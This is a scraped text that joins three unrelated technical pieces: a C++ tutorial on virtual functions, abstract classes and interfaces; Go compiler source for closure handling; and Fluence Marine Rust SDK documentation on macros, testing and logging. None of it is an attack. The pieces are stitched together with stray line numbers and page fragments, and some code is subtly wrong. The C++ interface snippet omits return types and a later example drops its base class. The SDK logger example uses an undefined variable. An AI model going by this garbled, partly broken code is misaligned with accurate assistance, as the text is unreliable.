Virtual Function is a member function of the base class which is overridden in the derived class. The compiler performs late binding on this function.
To make a function virtual, we write the keyword virtual before the function definition.
#include <iostream>
using namespace std;
class Animals
{
public:
virtual void sound()
{
cout << "This is parent class" << endl;
}
};
class Dogs : public Animals
{
public:
void sound()
{
cout << "Dogs bark" << endl;
}
};
int main()
{
Animals *a;
Dogs d;
a= &d;
a -> sound();
return 0;
}
Output
Dogs bark
Since the function sound() of the base class is made virtual, the compiler now performs late binding for this function. Now, the function call will be matched to the function definition at runtime. Since the compiler now identifies pointer a as referring to the object 'd' of the derived class Dogs, it will call the sound() function of the class Dogs.
If we declare a member function in a base class as a virtual function, then that function automatically becomes virtual in all of its derived classes.
If we make any function inside a base class virtual, then that function becomes virtual in all its derived classes. This means that we don't need to declare that function as virtual separately in its derived classes.
We can also call private function of derived class from a base class pointer by declaring that function in the base class as virtual.
Compiler checks if the members of a class are private, public or protected only at compile time and not at runtime. Since our function is being called at runtime, so we can call any type of function, private or public as shown in the following example.
#include <iostream>
using namespace std;
class Animals
{
public:
virtual void sound()
{
cout << "This is parent class" << endl;
}
};
class Dogs : public Animals
{
private:
virtual void sound()
{
cout << "Dogs bark" << endl;
}
};
int main()
{
Animals *a;
Dogs b;
a = &b;
a->sound();
return 0;
}
Output
Dogs bark
Since the same function (virtual function) having different definitions in different classes is called depending on the type of object that calls the function, this is also a part of Polymorphism.
Pure Virtual Function
Pure virtual function is a virtual function which has no definition. Pure virtual functions are also called abstract functions.
To create a pure virtual function, we assign a value 0 to the function as follows.
virtual void sound() = 0;
Here sound() is a pure virtual area.
Abstract Class
An abstract class is a class whose instances (objects) can't be made. We can only make objects of its subclass (if they are not abstract). Abstract class is also known as abstract base class.
An abstract class has at least one abstract function (pure virtual function).
Let's look at an example of abstract class.
Suppose there are some employees working in a firm. The firm hires only two types of employees- either driver or developer. Now, you have to develop a software to store information about them.
So, here is an idea - There is no need to make objects of employee class. We will make objects to only driver or developer. Also, both must have some salary. So, there must be a common function to know about salary.
This need will be best accomplished with abstract class.
So, we can make 'Employee' an abstract class and 'Developer' and 'Driver' its subclasses.
#include <iostream>
using namespace std;
class Employee // abstract base class
{
virtual int getSalary() = 0; // pure virtual function
};
class Developer : public Employee
{
int salary;
public:
Developer(int s)
{
salary = s;
}
int getSalary()
{
return salary;
}
};
class Driver : public Employee
{
int salary;
public:
Driver(int t)
{
salary = t;
}
int getSalary()
{
return salary;
}
};
int main()
{
Developer d1(5000);
Driver d2(3000);
int a, b;
a = d1.getSalary();
b = d2.getSalary();
cout << "Salary of Developer : " << a << endl;
cout << "Salary of Driver : " << b << endl;
return 0;
}
Output
Salary of Developer : 5000
Salary of Driver : 3000
The getSalary() function in the class Employee is a pure virtual function. Since the Employee class contains this pure virtual function, therefore it is an abstract base class.
Since the abstract function is defined in the subclasses, therefore the function 'getSalary()' is defined in both the subclasses of the class Employee.
You must have understood the rest of the code.
Subclasses of an abstract base class must define the abstract method, otherwise, they will also become abstract classes.
In an abstract class, we can also have other functions and variables apart from pure virtual function.
Let's see one more example of abstract base class.
#include <iostream>
using namespace std;
class Animals
{
public:
virtual void sound() = 0;
};
class Dogs
{
public:
void sound()
{
cout << "Dogs bark" << endl;
}
};
class Cats
{
public:
void sound()
{
cout << "Cats meow" << endl;
}
};
class Pigs
{
public:
void sound()
{
cout << "Pigs snort" << endl;
}
};
int main()
{
Dogs d;
Cats c;
Pigs p;
d.sound();
c.sound();
p.sound();
return 0;
}
Output
Dogs bark
Cats meow
Pigs snort
Interface
Interface or Interface class is a class which is the same as abstract class with a difference that all its functions are pure virtual and it has no member variables. Its derived classes must implement each of its virtual functions i.e., provide definition to each of the pure virtual functions of the base class.
Like an abstract class, we can't create objects of an interface.
We can also say that interface is an abstract class with no member variables and all its member functions pure virtual.
Name of an interface class often begins with the letter I.
Let's see an example of it.
class IShape
{
public:
virtual getArea() = 0;
virtual getPerimeter() = 0;
};
IShape is an interface because it contains only pure virtual functions.
#include <iostream>
using namespace std;
class IShape
{
public:
virtual int getArea() = 0;
virtual int getPerimeter() = 0;
};
class Rectangle : public IShape
{
int length;
int breadth;
public:
Rectangle(int l, int b)
{
length = l;
breadth = b;
}
int getArea()
{
return length * breadth;
}
int getPerimeter()
{
return 2*(length + breadth);
}
};
class Square : public IShape
{
int side;
public:
Square(int a)
{
side = a;
}
int getArea()
{
return side * side;
}
int getPerimeter()
{
return 4 * side;
}
};
int main()
{
Rectangle rt(7, 4);
Square s(4);
cout << "Rectangle :" << endl;
cout << "Area : " << rt.getArea() << " Perimeter : " << rt.getPerimeter() << endl;
cout << "Square :" << endl;
cout << "Area : " << s.getArea() << " Perimeter : " << s.getPerimeter() << endl;
return 0;
}
Output
Rectangle :
Area : 28 Perimeter : 22
Square :
Area : 16 Perimeter : 16
So we just saw that IShape is an interface with two pure virtual functions. These virtual functions are implemented (defined) in its subclasses Rectangle and Square according to their requirements.
So, an interface is just an abstract class with all pure virtual methods.
Everything is practice
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|
__label__pos
| 0.99443 |
blob: 1fa3ac0f18fc4f5dd35087452d4839dcedee4969 [file] [log] [blame]
// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package walk
import (
"cmd/compile/internal/base"
"cmd/compile/internal/ir"
"cmd/compile/internal/typecheck"
"cmd/compile/internal/types"
"cmd/internal/src"
)
// directClosureCall rewrites a direct call of a function literal into
// a normal function call with closure variables passed as arguments.
// This avoids allocation of a closure object.
//
// For illustration, the following call:
//
// func(a int) {
// println(byval)
// byref++
// }(42)
//
// becomes:
//
// func(byval int, &byref *int, a int) {
// println(byval)
// (*&byref)++
// }(byval, &byref, 42)
func directClosureCall(n *ir.CallExpr) {
clo := n.X.(*ir.ClosureExpr)
clofn := clo.Func
if ir.IsTrivialClosure(clo) {
return // leave for walkClosure to handle
}
// We are going to insert captured variables before input args.
var params []*types.Field
var decls []*ir.Name
for _, v := range clofn.ClosureVars {
if !v.Byval() {
// If v of type T is captured by reference,
// we introduce function param &v *T
// and v remains PAUTOHEAP with &v heapaddr
// (accesses will implicitly deref &v).
addr := ir.NewNameAt(clofn.Pos(), typecheck.Lookup("&"+v.Sym().Name))
addr.Curfn = clofn
addr.SetType(types.NewPtr(v.Type()))
v.Heapaddr = addr
v = addr
}
v.Class = ir.PPARAM
decls = append(decls, v)
fld := types.NewField(src.NoXPos, v.Sym(), v.Type())
fld.Nname = v
params = append(params, fld)
}
// f is ONAME of the actual function.
f := clofn.Nname
typ := f.Type()
// Create new function type with parameters prepended, and
// then update type and declarations.
typ = types.NewSignature(nil, append(params, typ.Params().FieldSlice()...), typ.Results().FieldSlice())
f.SetType(typ)
clofn.Dcl = append(decls, clofn.Dcl...)
// Rewrite call.
n.X = f
n.Args.Prepend(closureArgs(clo)...)
// Update the call expression's type. We need to do this
// because typecheck gave it the result type of the OCLOSURE
// node, but we only rewrote the ONAME node's type. Logically,
// they're the same, but the stack offsets probably changed.
if typ.NumResults() == 1 {
n.SetType(typ.Results().Field(0).Type)
} else {
n.SetType(typ.Results())
}
// Add to Closures for enqueueFunc. It's no longer a proper
// closure, but we may have already skipped over it in the
// functions list as a non-trivial closure, so this just
// ensures it's compiled.
ir.CurFunc.Closures = append(ir.CurFunc.Closures, clofn)
}
func walkClosure(clo *ir.ClosureExpr, init *ir.Nodes) ir.Node {
clofn := clo.Func
// If no closure vars, don't bother wrapping.
if ir.IsTrivialClosure(clo) {
if base.Debug.Closure > 0 {
base.WarnfAt(clo.Pos(), "closure converted to global")
}
return clofn.Nname
}
// The closure is not trivial or directly called, so it's going to stay a closure.
ir.ClosureDebugRuntimeCheck(clo)
clofn.SetNeedctxt(true)
// The closure expression may be walked more than once if it appeared in composite
// literal initialization (e.g, see issue #49029).
//
// Don't add the closure function to compilation queue more than once, since when
// compiling a function twice would lead to an ICE.
if !clofn.Walked() {
clofn.SetWalked(true)
ir.CurFunc.Closures = append(ir.CurFunc.Closures, clofn)
}
typ := typecheck.ClosureType(clo)
clos := ir.NewCompLitExpr(base.Pos, ir.OCOMPLIT, typ, nil)
clos.SetEsc(clo.Esc())
clos.List = append([]ir.Node{ir.NewUnaryExpr(base.Pos, ir.OCFUNC, clofn.Nname)}, closureArgs(clo)...)
for i, value := range clos.List {
clos.List[i] = ir.NewStructKeyExpr(base.Pos, typ.Field(i), value)
}
addr := typecheck.NodAddr(clos)
addr.SetEsc(clo.Esc())
// Force type conversion from *struct to the func type.
cfn := typecheck.ConvNop(addr, clo.Type())
// non-escaping temp to use, if any.
if x := clo.Prealloc; x != nil {
if !types.Identical(typ, x.Type()) {
panic("closure type does not match order's assigned type")
}
addr.Prealloc = x
clo.Prealloc = nil
}
return walkExpr(cfn, init)
}
// closureArgs returns a slice of expressions that an be used to
// initialize the given closure's free variables. These correspond
// one-to-one with the variables in clo.Func.ClosureVars, and will be
// either an ONAME node (if the variable is captured by value) or an
// OADDR-of-ONAME node (if not).
func closureArgs(clo *ir.ClosureExpr) []ir.Node {
fn := clo.Func
args := make([]ir.Node, len(fn.ClosureVars))
for i, v := range fn.ClosureVars {
var outer ir.Node
outer = v.Outer
if !v.Byval() {
outer = typecheck.NodAddrAt(fn.Pos(), outer)
}
args[i] = typecheck.Expr(outer)
}
return args
}
func walkMethodValue(n *ir.SelectorExpr, init *ir.Nodes) ir.Node {
// Create closure in the form of a composite literal.
// For x.M with receiver (x) type T, the generated code looks like:
//
// clos = &struct{F uintptr; R T}{T.M·f, x}
//
// Like walkClosure above.
if n.X.Type().IsInterface() {
// Trigger panic for method on nil interface now.
// Otherwise it happens in the wrapper and is confusing.
n.X = cheapExpr(n.X, init)
n.X = walkExpr(n.X, nil)
tab := ir.NewUnaryExpr(base.Pos, ir.OITAB, n.X)
check := ir.NewUnaryExpr(base.Pos, ir.OCHECKNIL, tab)
init.Append(typecheck.Stmt(check))
}
typ := typecheck.MethodValueType(n)
clos := ir.NewCompLitExpr(base.Pos, ir.OCOMPLIT, typ, nil)
clos.SetEsc(n.Esc())
clos.List = []ir.Node{ir.NewUnaryExpr(base.Pos, ir.OCFUNC, methodValueWrapper(n)), n.X}
addr := typecheck.NodAddr(clos)
addr.SetEsc(n.Esc())
// Force type conversion from *struct to the func type.
cfn := typecheck.ConvNop(addr, n.Type())
// non-escaping temp to use, if any.
if x := n.Prealloc; x != nil {
if !types.Identical(typ, x.Type()) {
panic("partial call type does not match order's assigned type")
}
addr.Prealloc = x
n.Prealloc = nil
}
return walkExpr(cfn, init)
}
// methodValueWrapper returns the ONAME node representing the
// wrapper function (*-fm) needed for the given method value. If the
// wrapper function hasn't already been created yet, it's created and
// added to typecheck.Target.Decls.
func methodValueWrapper(dot *ir.SelectorExpr) *ir.Name {
if dot.Op() != ir.OMETHVALUE {
base.Fatalf("methodValueWrapper: unexpected %v (%v)", dot, dot.Op())
}
meth := dot.Sel
rcvrtype := dot.X.Type()
sym := ir.MethodSymSuffix(rcvrtype, meth, "-fm")
if sym.Uniq() {
return sym.Def.(*ir.Name)
}
sym.SetUniq(true)
base.FatalfAt(dot.Pos(), "missing wrapper for %v", meth)
panic("unreachable")
}
|
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| 0.923927 |
Marine Rust SDK
The marine-rs-sdk empowers developers to write services suitable for peer hosting in peer-to-peer networks using the Marine Virtual Machine by enabling the wasm32-wasi compile target for Marine.
API
The procedural macros [marine] and [marine_test] are the two primary features provided by the SDK. The [marine] macro can be applied to a function, external block or structure. The [marine_test] macro, on the other hand, allows the use of the familiar cargo test to execute tests over the actual Wasm module generated from the service code.
Function Export
Applying the [marine] macro to a function results in its export, which means that it can be called from other modules or AIR scripts. For the function to be compatible with this macro, its arguments must be of the ftype, which is defined as follows:
ftype = bool, u8, u16, u32, u64, i8, i16, i32, i64, f32, f64, String ftype = ftype | Vec<ftype> ftype = ftype | Record<ftype>
In other words, the arguments must be one of the types listed below:
one of the following Rust basic types: bool, u8, u16, u32, u64, i8, i16, i32, i64, f32, f64, String
a vector of elements of the above types
a vector composed of vectors of the above type, where recursion is acceptable, e.g. the type Vec<Vec<Vec<u8>>> is permissible
a record, where all fields are of the basic Rust types
a record, where all fields are of any above types or other records
The return type of a function must follow the same rules, but currently only one return type is possible.
See the example below of an exposed function with a complex type signature and return value:
1
// export TestRecord as a public data structure bound by
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// the IT type constraints
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#[marine]
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pub struct TestRecord {
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pub field_0: i32,
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pub field_1: Vec<Vec<u8>>,
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}
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// export foo as a public function bound by the
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// IT type contraints
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#[marine] #
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pub fn foo(arg_1: Vec<Vec<Vec<Vec<TestRecord>>>>, arg_2: String) -> Vec<Vec<Vec<Vec<TestRecord>>>> {
13
unimplemented!()
14
}
Copied!
Function Export Requirements
wrap a target function with the [marine] macro
function arguments must by of ftype
the function return type also must be of ftype
Function Import
The [marine] macro can also wrap an extern block. In this case, all functions declared in it are considered imported functions. If there are imported functions in some module, say, module A, then:
There should be another module, module B, that exports the same functions. The name of module B is indicated in the link macro (see examples below).
Module B should be loaded to Marine by the moment the loading of module A starts. Module A cannot be loaded if at least one imported function is absent in Marine.
See the examples below for wrapped extern block usage:
Example 1
Example 2
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#[marine]
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pub struct TestRecord {
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pub field_0: i32,
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pub field_1: Vec<Vec<u8>>,
5
}
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// wrap the extern block with the marine macro to expose the function
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// as an import to the Marine VM
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#[marine]
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#[link(wasm_import_module = "some_module")]
11
extern "C" {
12
pub fn foo(arg: Vec<Vec<Vec<Vec<TestRecord>>>>, arg_2: String) -> Vec<Vec<Vec<Vec<TestRecord>>>>;
13
}
Copied!
1
[marine]
2
#[link(wasm_import_module = "some_module")]
3
extern "C" {
4
pub fn foo(arg: Vec<Vec<Vec<Vec<u8>>>>) -> Vec<Vec<Vec<Vec<u8>>>>;
5
}
Copied!
Function import requirements
wrap an extern block with the function(s) to be imported with the [marine] macro
all function(s) arguments must be of the ftype type
the return type of the function(s) must be ftype
Structures
Finally, the [marine] macro can wrap a struct making possible to use it as a function argument or return type. Note that
only macro-wrapped structures can be used as function arguments and return types
all fields of the wrapped structure must be public and of the ftype.
it is possible to have inner records in the macro-wrapped structure and to import wrapped structs from other crates
See the example below for wrapping struct:
Example 1
Example 2
Example 3
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#[marine]
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pub struct TestRecord0 {
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pub field_0: i32,
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}
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#[marine]
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pub struct TestRecord1 {
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pub field_0: i32,
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pub field_1: String,
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pub field_2: Vec<u8>,
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pub test_record_0: TestRecord0,
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}
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#[marine]
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pub struct TestRecord2 {
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pub test_record_0: TestRecord0,
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pub test_record_1: TestRecord1,
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}
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#[marine]
21
fn foo(mut test_record: TestRecord2) -> TestRecord2 { unimplemented!(); }
Copied!
1
#[fce]
2
pub struct TestRecord0 {
3
pub field_0: i32,
4
}
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#[fce]
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pub struct TestRecord1 {
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pub field_0: i32,
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pub field_1: String,
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pub field_2: Vec<u8>,
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pub test_record_0: TestRecord0,
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}
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#[fce]
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pub struct TestRecord2 {
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pub test_record_0: TestRecord0,
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pub test_record_1: TestRecord1,
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}
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#[fce]
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#[link(wasm_import_module = "some_module")]
22
extern "C" {
23
fn foo(mut test_record: TestRecord2) -> TestRecord2;
24
}
Copied!
1
mod data_crate {
2
use fluence::marine;
3
#[marine]
4
pub struct Data {
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pub name: String,
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pub data: f64,
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}
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}
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use data_crate::Data;
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use fluence::marine;
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fn main() {}
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#[marine]
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fn some_function() -> Data {
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Data {
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name: "example".into(),
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data: 1.0,
20
}
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}
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Copied!
Structure passing requirements
wrap a structure with the [marine] macro
all structure fields must be of the ftype
the structure must be pointed to without preceding package import in a function signature, i.eStructureName but not package_name::module_name::StructureName
wrapped structs can be imported from crates
Call Parameters
There is a special API function fluence::get_call_parameters() that returns an instance of the CallParameters structure defined as follows:
1
pub struct CallParameters {
2
/// Peer id of the AIR script initiator.
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pub init_peer_id: String,
4
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/// Id of the current service.
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pub service_id: String,
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/// Id of the service creator.
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pub service_creator_peer_id: String,
10
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/// Id of the host which run this service.
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pub host_id: String,
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/// Id of the particle which execution resulted a call this service.
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pub particle_id: String,
16
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/// Security tetraplets which described origin of the arguments.
18
pub tetraplets: Vec<Vec<SecurityTetraplet>>,
19
}
Copied!
CallParameters are especially useful in constructing authentication services:
1
// auth.rs
2
use fluence::{marine, CallParameters};
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use::marine;
4
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pub fn is_owner() -> bool {
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let meta = marine::get_call_parameters();
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let caller = meta.init_peer_id;
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let owner = meta.service_creator_peer_id;
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caller == owner
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}
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#[marine]
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pub fn am_i_owner() -> bool {
15
is_owner()
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}
Copied!
MountedBinaryResult
Due to the inherent limitations of Wasm modules, such as a lack of sockets, it may be necessary for a module to interact with its host to bridge such gaps, e.g. use a https transport provider like curl. In order for a Wasm module to use a host's curl capabilities, we need to provide access to the binary, which at the code level is achieved through the Rust extern block:
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// Importing a linked binary, curl, to a Wasm module
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#![allow(improper_ctypes)]
3
4
use fluence::marine;
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use fluence::module_manifest;
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use fluence::MountedBinaryResult;
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module_manifest!();
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pub fn main() {}
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#[marine]
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pub fn curl_request(curl_cmd: Vec<String>) -> MountedBinaryResult {
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let response = curl(curl_cmd);
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response
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}
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#[marine]
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#[link(wasm_import_module = "host")]
20
extern "C" {
21
fn curl(cmd: Vec<String>) -> MountedBinaryResult;
22
}
Copied!
The above code creates a "curl adapter", i.e., a Wasm module that allows other Wasm modules to use the the curl_request function, which calls the imported curl binary in this case, to make http calls. Please note that we are wrapping the extern block with the [marine]macro and introduce a Marine-native data structure MountedBinaryResult as the linked-function return value.
Please not that if you want to use curl_request with testing, see below, the curl call needs to be marked unsafe, e.g.:
1
let response = unsafe { curl(curl_cmd) };
Copied!
since cargo does not access to the marine macro to handle unsafe.
MountedBinaryResult itself is a Marine-compatible struct containing a binary's return process code, error string and stdout and stderr as byte arrays:
1
#[marine]
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#[derive(Clone, PartialEq, Default, Eq, Debug, Serialize, Deserialize)]
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pub struct MountedBinaryResult {
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/// Return process exit code or host execution error code, where SUCCESS_CODE means success.
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pub ret_code: i32,
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/// Contains the string representation of an error, if ret_code != SUCCESS_CODE.
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pub error: String,
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/// The data that the process wrote to stdout.
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pub stdout: Vec<u8>,
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/// The data that the process wrote to stderr.
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pub stderr: Vec<u8>,
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}
16
Copied!
MountedBinaryResult then can be used on a variety of match or conditional tests.
Testing
Since we are compiling to a wasm32-wasi target with ftype constrains, the basic cargo test is not all that useful or even usable for our purposes. To alleviate that limitation, Fluence has introduced the [marine-test] macro that does a lot of the heavy lifting to allow developers to use cargo test as intended. That is, [marine-test] macro generates the necessary code to call Marine, one instance per test function, based on the Wasm module and associated configuration file so that the actual test function is run against the Wasm module not the native code.
To use the [marine-test] macro please add marine-rs-sdk-test crate to the [dev-dependencies] section of Config.toml:
1
[dev-dependencies]
2
marine-rs-sdk-test = "0.2.0"
Copied!
Let's have a look at an implementation example:
1
use marine_rs_sdk::marine;
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use marine_rs_sdk::module_manifest;
3
4
module_manifest!();
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pub fn main() {}
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#[marine]
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pub fn greeting(name: String) -> String { // 1
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format!("Hi, {}", name)
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}
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#[cfg(test)]
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mod tests {
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use marine_rs_sdk_test::marine_test; // 2
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#[marine_test(config_path = "../Config.toml", modules_dir = "../artifacts")] // 3
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fn empty_string(greeting: marine_test_env::greeting::ModuleInterface) {
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let actual = greeting.greeting(String::new()); // 4
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assert_eq!(actual, "Hi, ");
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}
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#[marine_test(config_path = "../Config.toml", modules_dir = "../artifacts")]
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fn non_empty_string(greeting: marine_test_env::greeting::ModuleInterface) {
25
let actual = greeting.greeting("name".to_string());
26
assert_eq!(actual, "Hi, name");
27
}
28
}
Copied!
1.
We wrap a basic greeting function with the [marine] macro which results in the greeting.wasm module
2.
We wrap our tests as usual with [cfg(test)] and import the marine test crate. Do not import super or the local crate.
3.
Instead, we apply the [marine_test] macro to each of the test functions by providing the path to the config file, e.g., Config.toml, and the directory containing the Wasm module we obtained after compiling our project with marine build. Moreover, we add the type of the test as an argument in the function signature. It is imperative that project build precedes the test runner otherwise the required Wasm file will be missing.
4.
The target of our tests is the pub fn greeting function. Since we are calling the function from the Wasm module we must prefix the function name with the module namespace -- greeting in this example case as specified in the function argument.
Now that we have our Wasm module and tests in place, we can proceed with cargo test --release. Note that using the releaseflag vastly improves the import speed of the necessary Wasm modules.
The same macro also allows testing data flow between multiple services, so you do not need to deploy anything to the network and write an Aqua app just for basic testing. Let's look at an example:
test.rs
producer.rs
consumer.rs
test_on_mod.rs
1
fn main() {}
2
3
#[cfg(test)]
4
mod tests {
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use marine_rs_sdk_test::marine_test;
6
#[marine_test( // 1
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producer(
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config_path = "../producer/Config.toml",
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modules_dir = "../producer/artifacts"
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),
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consumer(
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config_path = "../consumer/Config.toml",
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modules_dir = "../consumer/artifacts"
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)
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)]
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fn test() {
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let mut producer = marine_test_env::producer::ServiceInterface::new(); // 2
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let mut consumer = marine_test_env::consumer::ServiceInterface::new();
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let input = marine_test_env::producer::Input { // 3
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first_name: String::from("John"),
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last_name: String::from("Doe"),
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};
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let data = producer.produce(input); // 4
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let result = consumer.consume(data);
25
assert_eq!(result, "John Doe")
26
}
27
}
28
Copied!
1
use marine_rs_sdk::marine;
2
use marine_rs_sdk::module_manifest;
3
4
module_manifest!();
5
6
pub fn main() {}
7
8
#[marine]
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pub struct Data {
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pub name: String,
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}
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#[marine]
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pub struct Input {
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pub first_name: String,
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pub last_name: String,
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}
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#[marine]
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pub fn produce(data: Input) -> Data {
21
Data {
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name: format!("{} {}", data.first_name, data.last_name),
23
}
24
}
25
Copied!
1
use marine_rs_sdk::marine;
2
use marine_rs_sdk::module_manifest;
3
4
module_manifest!();
5
6
pub fn main() {}
7
8
#[marine]
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pub struct Data {
10
pub name: String,
11
}
12
13
#[marine]
14
pub fn consume(data: Data) -> String {
15
data.name
16
}
17
Copied!
1
fn main() {}
2
3
#[cfg(test)]
4
#[marine_rs_sdk_test::marine_test(
5
producer(
6
config_path = "../producer/Config.toml",
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modules_dir = "../producer/artifacts"
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),
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consumer(
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config_path = "../consumer/Config.toml",
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modules_dir = "../consumer/artifacts"
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)
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)]
14
mod tests_on_mod {
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#[test]
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fn test() {
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let mut producer = marine_test_env::producer::ServiceInterface::new();
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let mut consumer = marine_test_env::consumer::ServiceInterface::new();
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let input = marine_test_env::producer::Input {
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first_name: String::from("John"),
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last_name: String::from("Doe"),
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};
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let data = producer.produce(input);
24
let result = consumer.consume(data);
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assert_eq!(result, "John Doe")
26
}
27
}
28
Copied!
1.
We wrap the test function with the marine_test macro by providing named service configurations with module locations. Based on its arguments the macro defines a marine_test_env module with an interface to the services.
2.
We create new services. Each ServiceInterface::new() runs a new marine runtime with the service.
3.
We prepare data to pass to a service using structure definition from marine_test_env. The macro finds all structures used in the service interface functions and defines them in the corresponding submodule of marine_test_env .
4.
We call a service function through the ServiceInterface object.
5.
It is possible to use the result of one service call as an argument for a different service call. The interface types with the same structure have the same rust type in marine_test_env.
In the test_on_mod.rs tab we can see another option — applying marine_test to a mod. The macro just defines the marine_test_env at the beginning of the module and then it can be used as usual everywhere inside the module.
The full example is here.
The marine_test macro also gives access to the interface of internal modules which may be useful for setting up a test environment. This feature is designed to be used in situations when it is simpler to set up a service for a test through internal functions than through the service interface. To illustrate this feature we have rewritten the previous example:
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fn main() {}
2
3
#[cfg(test)]
4
mod tests {
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use marine_rs_sdk_test::marine_test;
6
#[marine_test(
7
producer(
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config_path = "../producer/Config.toml",
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modules_dir = "../producer/artifacts"
10
),
11
consumer(
12
config_path = "../consumer/Config.toml",
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modules_dir = "../consumer/artifacts"
14
)
15
)]
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fn test() {
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let mut producer = marine_test_env::producer::ServiceInterface::new();
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let mut consumer = marine_test_env::consumer::ServiceInterface::new();
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let input = marine_test_env::producer::modules::producer::Input { // 1
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first_name: String::from("John"),
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last_name: String::from("Doe"),
22
};
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let data = producer.modules.producer.produce(input); // 2
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let consumer_data = marine_test_env::consumer::modules::consumer::Data { name: data.name } // 3;
25
let result = consumer.modules.consumer.consume(consumer_data);
26
assert_eq!(result, "John Doe")
27
}
28
}
29
Copied!
1.
We access the internal service interface to construct an interface structure. To do so, we use the following pattern: marine_test_env::$service_name::modules::$module_name::$structure_name.
2.
We access the internal service interface and directly call a function from one of the modules of this service. To do so, we use the following pattern: $service_object.modules.$module_name.$function_name .
3.
In the previous example, the same interface types had the same rust types. It is limited when using internal modules: the property is true only when structures are defined in internal modules of one service, or when structures are defined in service interfaces of different services. So, we need to construct the proper type to pass data to the internals of another module.
Testing sdk also has the interface for Cargo build scripts. Some IDEs can analyze files generated in build scripts, providing code completion and error highlighting for code generated in build scripts. But using it may be a little bit tricky because build scripts are not designed for such things.
Actions required to set up IDE:
CLion:
in the Help -> Actions -> Experimental Futures enable org.rust.cargo.evaluate.build.scripts
refresh cargo project in order to update generated code: change Cargo.toml and build from IDE or press Refresh Cargo Project in Cargo tab.
VS Code:
install rust-analyzer plugin
change Cargo.toml to let plugin update code from generated files
The update will not work instantly: you should build service to wasm, and then trigger build.rs run again, but for the native target.
And here is the example of using this:
build.rs
src/main.rs
Cargo.toml
1
use marine_rs_sdk_test::generate_marine_test_env;
2
use marine_rs_sdk_test::ServiceDescription;
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fn main() {
4
let services = vec![ // <- 1
5
("greeting".to_string(), ServiceDescription {
6
config_path: "Config.toml".to_string(),
7
modules_dir: Some("artifacts".to_string()),
8
})
9
];
10
11
let target = std::env::var("CARGO_CFG_TARGET_ARCH").unwrap();
12
if target != "wasm32" { // <- 2
13
generate_marine_test_env(services, "marine_test_env.rs", file!()); // <- 3
14
}
15
16
println!("cargo:rerun-if-changed=src/main.rs"); // <- 4
17
}
Copied!
1
use marine_rs_sdk::marine;
2
use marine_rs_sdk::module_manifest;
3
4
module_manifest!();
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6
pub fn main() {}
7
8
#[marine]
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pub fn greeting(name: String) -> String {
10
format!("Hi, {}", name)
11
}
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13
#[cfg(test)]
14
mod built_tests {
15
marine_rs_sdk_test::include_test_env!("/marine_test_env.rs"); // <- 4
16
#[test]
17
fn non_empty_string() {
18
let mut greeting = marine_test_env::greeting::ServiceInterface::new();
19
let actual = greeting.greeting("name".to_string());
20
assert_eq!(actual, "Hi, name");
21
}
22
}
Copied!
1
[package]
2
name = "wasm-build-rs"
3
version = "0.1.0"
4
authors = ["Fluence Labs"]
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description = "The greeting module for the Fluence network"
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repository = "https://github.com/fluencelabs/marine/tree/master/examples/build_rs"
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edition = "2018"
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publish = false
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[[bin]]
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name = "build_rs_test"
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path = "src/main.rs"
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[dependencies]
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marine-rs-sdk = "0.6.11"
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[dev-dependencies]
18
marine-rs-sdk-test = "0.4.0"
19
20
[build-dependencies]
21
marine-rs-sdk-test = "0.4.0" # <- 5
22
Copied!
1.
We create a vector of pairs (service_name, service_description) to pass to the generator. The structure is the same with multi-service marine_test.
2.
We check if we build for a non-wasm target. As we build this marine service only for wasm32-wasi and tests are built for native target, we can generate marine_test_env only for tests. This is needed because our generator depends on the artifacts from wasm32-wasi build. We suggest using a separate crate for using build scripts for testing purposes. It is here for simplicity.
3.
We pass our services, a name of the file to generate, and a path to the build script file to the marine_test_env generator. Just always use file!() for the last argument. The generated file will be in the directory specified by the OUT_DIR variable, which is set by cargo. The build script must not change any files outside of this directory.
4.
We set up condition to re-run the build script. It must be customized, a good choice is to re-run the build script when .wasm files or Config.toml are changed.
5.
We import the generated file with the marine_test_env definition to the project.
6.
Do not forget to add marine-rs-sdk-test to the build-dependencies section of Cargo.toml.
Features
The SDK has two useful features: logger and debug.
Logger
Using logging is a simple way to assist in debugging without deploying the module(s) to a peer-to-peer network node. The logger feature allows you to use a special logger that is based at the top of the log crate.
To enable logging please specify the logger feature of the Fluence SDK in Config.toml and add the log crate:
1
[dependencies]
2
log = "0.4.14"
3
fluence = { version = "0.6.9", features = ["logger"] }
Copied!
The logger should be initialized before its usage. This can be done in the main function as shown in the example below.
1
use fluence::marine;
2
use fluence::WasmLogger;
3
4
pub fn main() {
5
WasmLogger::new()
6
// with_log_level can be skipped,
7
// logger will be initialized with Info level in this case.
8
.with_log_level(log::Level::Info)
9
.build()
10
.unwrap();
11
}
12
13
#[marine]
14
pub fn put(name: String, file_content: Vec<u8>) -> String {
15
log::info!("put called with file name {}", file_name);
16
unimplemented!()
17
}
Copied!
In addition to the standard log creation features, the Fluence logger allows the so-called target map to be configured during the initialization step. This allows you to filter out logs by logging_mask, which can be set for each module in the service configuration. Let's consider an example:
1
const TARGET_MAP: [(&str, i64); 4] = [
2
("instruction", 1 << 1),
3
("data_cache", 1 << 2),
4
("next_peer_pks", 1 << 3),
5
("subtree_complete", 1 << 4),
6
];
7
8
pub fn main() {
9
use std::collections::HashMap;
10
use std::iter::FromIterator;
11
12
let target_map = HashMap::from_iter(TARGET_MAP.iter().cloned());
13
14
fluence::WasmLogger::new()
15
.with_target_map(target_map)
16
.build()
17
.unwrap();
18
}
19
20
#[marine]
21
pub fn foo() {
22
log::info!(target: "instruction", "this will print if (logging_mask & 1) != 0");
23
log::info!(target: "data_cache", "this will print if (logging_mask & 2) != 0");
24
}
Copied!
Here, an array called TARGET_MAP is defined and provided to a logger in the main function of a module. Each entry of this array contains a string (a target) and a number that represents the bit position in the 64-bit mask logging_mask. When you write a log message request log::info!, its target must coincide with one of the strings (the targets) defined in the TARGET_MAP array. The log will be printed if logging_mask for the module has the corresponding target bit set.
REPL also uses the log crate to print logs from Wasm modules. Log messages will be printed ifRUST_LOG environment variable is specified.
Debug
The application of the second feature is limited to obtaining some of the internal details of the IT execution. Normally, this feature should not be used by a backend developer. Here you can see example of such details for the greeting service compiled with the debug feature:
1
# running the greeting service compiled with debug feature
2
~ $ RUST_LOG="info" fce-repl Config.toml
3
Welcome to the Fluence FaaS REPL
4
app service's created with service id = e5cfa463-ff50-4996-98d8-4eced5ac5bb9
5
elapsed time 40.694769ms
6
7
1> call greeting greeting "user"
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[greeting] sdk.allocate: 4
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[greeting] sdk.set_result_ptr: 1114240
